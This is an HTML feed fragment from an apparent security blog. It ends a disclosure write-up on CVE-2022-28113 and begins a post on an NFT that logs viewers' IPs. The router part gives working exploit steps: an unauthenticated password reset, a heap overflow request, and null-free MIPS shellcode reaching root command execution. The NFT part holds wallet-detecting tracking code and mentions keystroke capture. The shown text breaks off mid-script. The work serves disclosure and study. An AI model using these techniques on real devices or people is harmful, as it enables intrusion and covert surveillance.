&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;http://10.10.10.254/upload.csp&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code snippet allows any unauthenticated user to reset all passwords, without having to reboot the router. We can use the new admin user credentials to log into the web interface. It telnet is enabled by default, you can log in directly as root user, otherwise we need to find a remote code execution vulnerability in the web interface.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;remote-code-execution&quot;&gt;Remote code Execution&lt;/h1&gt;

&lt;p&gt;After initial access the next objective is to execute terminal commands. Let’s revisit the internet access settings page from the enumeration chapter.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-1&quot;&gt;Vulnerability&lt;/h3&gt;

&lt;p&gt;The web request contains the body parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSID&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mac&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;passwd&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dhcp&lt;/code&gt;. If a very long string is provided as parameter, the application crashes and displays &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;500 - Internal Server Error&lt;/code&gt;. This indicates a potential buffer overflow vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/fantec-wifi/wifi_network_settings_vuln2.png&quot; alt=&quot;Wifi networking vulnerability&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;toolchain&quot;&gt;Toolchain&lt;/h3&gt;

&lt;p&gt;The full firmware can be downloaded from the manufacturers &lt;a href=&quot;https://www.fantec.de/en/products/storage-devices/docking-stations/docking-stations-with-usb/produkt/details/artikel/1701_fantec_mwid25_ds_schwarz/&quot;&gt;website&lt;/a&gt; and contains the correct tools to compile and assemble code.&lt;/p&gt;

&lt;p&gt;The vulnerable binary is located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/ioos&lt;/code&gt;. The binary is built for a little-endian MIPS architecture.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file ioos          
ioos: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SYSV&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To debug the application, attach &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdbserver&lt;/code&gt; to the process and launch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb-multiarch&lt;/code&gt; on your machine to connect to the server.&lt;/p&gt;

&lt;p&gt;Therefore, we need a working gdbserver version for this specific architecture. You can cross-compile gdb from &lt;a href=&quot;https://ftp.gnu.org/gnu/gdb/&quot;&gt;source&lt;/a&gt; using the toolchain obtained from the downloaded firmware. As the toolchain is already outdated, only older gdb versions such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb-6.5&lt;/code&gt; can be compiled.&lt;/p&gt;

&lt;p&gt;To cross-compile gdbserver using the mipsel-linux toolchain, add the toolchain directory to your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATH&lt;/code&gt; environment variable on your host machine and execute the following commands.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;../gdb-6.5/gdb/gdbserver/configure  &lt;span class=&quot;nt&quot;&gt;--host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;mipsel-linux &lt;span class=&quot;nt&quot;&gt;--target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;mipsel-linux
make
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, transfer the binary to the wifi router and attach the gdbserver to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioos&lt;/code&gt; process.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdbserver localhost:4444 &lt;span class=&quot;nt&quot;&gt;--attach&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;process_id&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On your host machine launch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb-multiarch&lt;/code&gt; and connect to the server&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) target remote 10.10.10.254:4444
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h3 id=&quot;exploitation-1&quot;&gt;Exploitation&lt;/h3&gt;

&lt;p&gt;Attach a debugger to the process and send a large number of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; characters as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSID&lt;/code&gt; parameter value together with a valid session cookie. You can observe the program counter being overwritten with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x41\x41\x41\x41&lt;/code&gt; which causes a fault and exits the programm.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /protocol.csp?fname=net&amp;amp;opt=wifi_client&amp;amp;function=set HTTP/1.1
Host: 10.10.10.254
Content-Length: 82
Method: POST /protocol.csp?fname=net&amp;amp;opt=wifi_client&amp;amp;function=set HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSID=DE4ri41qPWOPIzWUxXLL8AJRbOA2MzthdoynrADfrrVaQ; Language=us
Connection: close

SSID=code-byter-wifi&amp;amp;mac=7e%3Af1%3A33%3A34%3Aa1%3A37&amp;amp;passwd=supersecurepassword&amp;amp;dhcp=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As this is a &lt;strong&gt;heap overflow&lt;/strong&gt;, the payload itsself is stored on the heap and a function pointer is overwritten. The vulnerablerability exits, as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; does not check the length of the input.&lt;/p&gt;

&lt;p&gt;After identifying the vulnerability, let’s determine our restrictions. 
The vulnerable function is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt;. Thus the buffer overflow only works if the payload must not contain any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x00&lt;/code&gt;, as in C/C++ strings are terminated with null-bytes&lt;/p&gt;

&lt;p&gt;Next, to verify if ASLR is used, execute the following command. In this case &lt;strong&gt;partial ASLR&lt;/strong&gt; is enabled, so the exact stack addresses are unknown, but the heap and main binary addresses are constant. An exploit is possible if the payload is placed in heap memory or return-oriented-programming is used.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /proc/sys/kernel/randomize_va_space
1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The following command shows the memory mapping. As the heap is executable it can be used to store the shellcode. The injected payload can be found at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0054ec9401&lt;/code&gt;. To execute it, overwrite the program counter with this address.&lt;/p&gt;

&lt;p&gt;Unfortunately the address contains a nullbyte, which we cannot use in the payload. As strings are always terminated with null-bytes and the architecture is little endian, we can use this to our advantage. If the payload ends with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x01\x94\xec\x54&lt;/code&gt;, we can set the program counter to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0054ec9401&lt;/code&gt;, as the last byte of the string is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x00&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/mem_maps.png&quot; alt=&quot;Memoy mapping&quot; width=&quot;80%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After being able to execute custom commands, the next step is to generate the payload. In the diassembled firmware, we can find the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_cmd&lt;/code&gt; function, which executes any string containing a terminal command. To execute it, we need to store the command as string in heap memory and load its address into the argument register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a0&lt;/code&gt; and call the function.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/do_cmd.png&quot; alt=&quot;do_cmd function diassembly&quot; width=&quot;60%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;To generate the payload, we have to write assembly code in such a way that the assembled machine hex code is null-byte free.&lt;/p&gt;

&lt;p&gt;The first step is to move the string pointer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0054ecc4&lt;/code&gt; into a0. As the address contains a null-byte, we can compute the value by adding an offset to the value of the link register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ra&lt;/code&gt;. As this still instruction contains null-bytes, we can split it into two seperate ones, with large enough operands.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;addi	a0,ra,292
addi	a0,a0,-244
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we need to load the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_cmd&lt;/code&gt; into any register (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t9&lt;/code&gt;) and then jump to it. We can store this address in our payload and load the word from memory into the register. As the address of the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0040ce84&lt;/code&gt; contains null-bytes, we can store the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0040ce84 + t9&lt;/code&gt; in memory instead and substract the register value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t9&lt;/code&gt; afterwards.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lw	t8,-4(a0)
sub	t9,t8,t9
jalr	t9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Instead of inserting a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nop&lt;/code&gt; instruction after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lw&lt;/code&gt;, which contains null-bytes, we can insert ‘useless’ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt; instructions.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.file	1 &quot;asm_to_hex.c&quot;
add:
	add     $4, $31, 0x124
	add     $4, $4, -0xf4
	lw      $24, -4($4)
	add     $22, $23, $23
	add     $22, $23, $23
	sub     $25, $24, $25
	jalr    $25
	.end	add
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next generate hex code from the instructions. Therefore store them, as shown above in a file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shellcode.asm&lt;/code&gt;. Then assemble it using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mipsel-linux-as&lt;/code&gt; and dump the hexcode with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mipsel-linux-objdump&lt;/code&gt;. Last, convert it into little endian format and send it to the router to execute any commands as root user.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;mipsel-linux-as shellcode.asm &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shellcode.o
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;mipsel-linux-objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; shellcode.o

shellcode.o:     file format elf32-tradlittlemips

Disassembly of section .text:

00000000 &amp;lt;add&amp;gt;:
   0:	23e40124 	addi	a0,ra,292
   4:	2084ff0c 	addi	a0,a0,-244
   8:	8c98fffc 	lw	t8,-4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;a0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   c:	02f7b020 	add	s6,s7,s7
  10:	02f7b020 	add	s6,s7,s7
  14:	0319c822 	sub	t9,t8,t9
  18:	0320f809 	jalr	t9
  1c:	00000000 	nop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following screenshot shows gdb with a breakpoint at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_cmd&lt;/code&gt; function. As you can see, the address of the string terminal command is stored in the register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a0&lt;/code&gt; and the program counter points to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_cmd&lt;/code&gt; function.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/gef_bof2.png&quot; alt=&quot;Screenshot of the login web interface&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;automation&quot;&gt;Automation&lt;/h1&gt;

&lt;p&gt;The whole exploitation process is automated with a python script. To spawn a root shell, clone this &lt;a href=&quot;https://github.com/code-byter/CVE-2022-28113&quot;&gt;repository&lt;/a&gt; and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exploit.py&lt;/code&gt;.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/exploit.png&quot; alt=&quot;Screenshot of the exploit script&quot; /&gt;
&lt;/p&gt;

&lt;h1 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h1&gt;

&lt;p&gt;The initial web vulnerability can be mitigated by verifying the session cookie for each http request. The buffer overflow vulnerability can be fixed by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strncpy&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt;, as the number of copied characters is limited. Further enabling full ALSR would make the exploitation harder/impossible as the heap and firmware addresses are randomized.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;Github: &lt;a href=&quot;https://github.com/code-byter/CVE-2022-28113&quot;&gt;CVE-2022-28113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;CVE-Mitre: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28113&quot;&gt;CVE-2022-28113&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title type="html">This NFT will steal your IP</title>
    <link href="https://code-byter.com/2022/04/01/ip-nft.html" rel="alternate" type="text/html"/>
    <id>https://code-byter.com/2022/04/01/ip-nft.html</id>
    <published>2022-04-01T00:00:00+00:00</published>
    <updated>2022-04-01T00:00:00+00:00</updated>
    <category term="exploit"/>
    <category term="security"/>
    <category term="embedded"/>
    <summary type="html">Here’s a link to an NFT on opensea.io. Do you dare to click on it? If you do, I’ll know your IP Address and whether you are using crypto wallet browser add-ons. This post will show you how it’s done</summary>
    <content type="html" xml:base="https://code-byter.com/2022/04/01/ip-nft.html">&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/ip-nft/ip-nft.png&quot; alt=&quot;Thumbnail containing the NFT&quot; width=&quot;80%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Here’s a link to an NFT on &lt;a href=&quot;https://testnets.opensea.io/assets/mumbai/0x989ecb8dda2db3a7513b7e4f323319e14059824d/4&quot;&gt;opensea.io&lt;/a&gt;. Do you dare to click on it? If you do, I’ll know your IP Address and whether you are using crypto wallet browser add-ons. This post will show you how it’s done&lt;/p&gt;

&lt;p&gt;&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;I wanted to learn how NFTs work, so I studied them by messing around with its security. Inspired by the following tweet, I built an NFT that allows me to collect your IP and further metadata if you view it on opensea. The whole NFT I created is built on Polygon using the Mumbai testnetwork, but it can also be applied to the Ethereum network directly.&lt;/p&gt;

&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;New: this NFT will steal your IP address.&lt;br /&gt;&lt;br /&gt;Viewing this and some other NFTs on marketplace OpenSea will send your IP to the NFT creator, because OpenSea lets people load custom code, including HTML. NFTs can gather data on viewers. Confirmed with my own IP &lt;a href=&quot;https://t.co/fuwhx5cHbV&quot;&gt;https://t.co/fuwhx5cHbV&lt;/a&gt;&lt;/p&gt;&amp;mdash; Joseph Cox (@josephfcox) &lt;a href=&quot;https://twitter.com/josephfcox/status/1486712910189449225?ref_src=twsrc%5Etfw&quot;&gt;January 27, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;fundamentals&quot;&gt;Fundamentals&lt;/h2&gt;

&lt;p&gt;On the Blockchain all transactions are public, so let’s investigate the IP stealing NFT on &lt;a href=&quot;https://mumbai.polygonscan.com/tx/0x4c0a9a2b6f870acf06c9258a5be72fb16b39aa08e392f7f9462b2a157a74afbf&quot;&gt;Polygonscan&lt;/a&gt;. The input data of the smart contract contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jsonURI&lt;/code&gt; field. This is the link containing the NFT metadata in json format.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/ip-nft/nft-polygonscan.png&quot; alt=&quot;Thumbnail containing the NFT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://ipfs.io/ipfs/bafyreicz7xrh5nmbqsqlthf5dzfsuk7nls275spsokszx3lkg7ajs7p5ky/metadata.json&quot;&gt;metadata json&lt;/a&gt; format is defined by the &lt;a href=&quot;https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md&quot;&gt;ERC721 Metadata JSON Schema&lt;/a&gt; and contains the actual image URL as well as name and description. Often the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;metadata.json&lt;/code&gt; and the actual image are stored on IPS which provides tampering and censorship storage.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
    &quot;title&quot;: &quot;Asset Metadata&quot;,
    &quot;type&quot;: &quot;object&quot;,
    &quot;properties&quot;: {
        &quot;name&quot;: {
            &quot;type&quot;: &quot;string&quot;,
            &quot;description&quot;: &quot;Identifies the asset to which this NFT represents&quot;
        },
        &quot;description&quot;: {
            &quot;type&quot;: &quot;string&quot;,
            &quot;description&quot;: &quot;Describes the asset to which this NFT represents&quot;
        },
        &quot;image&quot;: {
            &quot;type&quot;: &quot;string&quot;,
            &quot;description&quot;: &quot;A URI pointing to a resource with mime type image/* representing the asset to which this NFT represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive.&quot;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Additional to the ERC-721 metadata standard, opensea support &lt;a href=&quot;https://docs.opensea.io/docs/metadata-standards&quot;&gt;additional fields&lt;/a&gt;. One of them is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;animation_url&lt;/code&gt;. It contains a multimedia attachment which is displayed when viewing the image on opensea. Various media types are supported, HTML is one of them.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;IP-NFT&quot;,
  &quot;description&quot;: &quot;This NFT will (hopefully) display your IP&quot;,
  &quot;animation_url&quot;: &quot;https://www.doge-to-the-moon.xyz:5005&quot;,
  &quot;image&quot;: &quot;ipfs://bafybeigo73mvfuszx5gfl4ljqqsod4azumqaitorgy6suyx3r3j6wenfee/nft.png&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;stealing-the-ip&quot;&gt;Stealing the IP&lt;/h2&gt;

&lt;p&gt;We can use as animation URL a self hosted server. This way, the person viewing the NFT on opensea will automatically request the ‘animation’ from our server and we catch metadata like the IP-Address and the user-agent.&lt;/p&gt;

&lt;p&gt;As the animation can be a HTML web page, we can execute (to some limited extent) javascript code. This allows us to get additional data such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Whether crypto wallets such as metamask or phantom are installed in your browser&lt;/li&gt;
  &lt;li&gt;If the user ‘accidentally’ clicks on the image, we can collect all keyboard input&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;implementation&quot;&gt;Implementation&lt;/h2&gt;

&lt;p&gt;Flask is a micro web framework written in Python, which allows us to implement such a functionality in a couple of lines of code. The following (shortened) HTML code-snippet shows the actual ‘animation’ displayed on opensea.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;100%&quot;&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://ipfs.io/ipfs/bafybeigo73mvfuszx5gfl4ljqqsod4azumqaitorgy6suyx3r3j6wenfee/nft.png&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;txt&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Your IP: request.remote_addr&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet-sol&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;SOL Wallet: ❌&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet-eth&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;ETH Wallet: ❌&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ethereum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;wallet-sol&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;SOL Wallet: ✅&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;solana&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
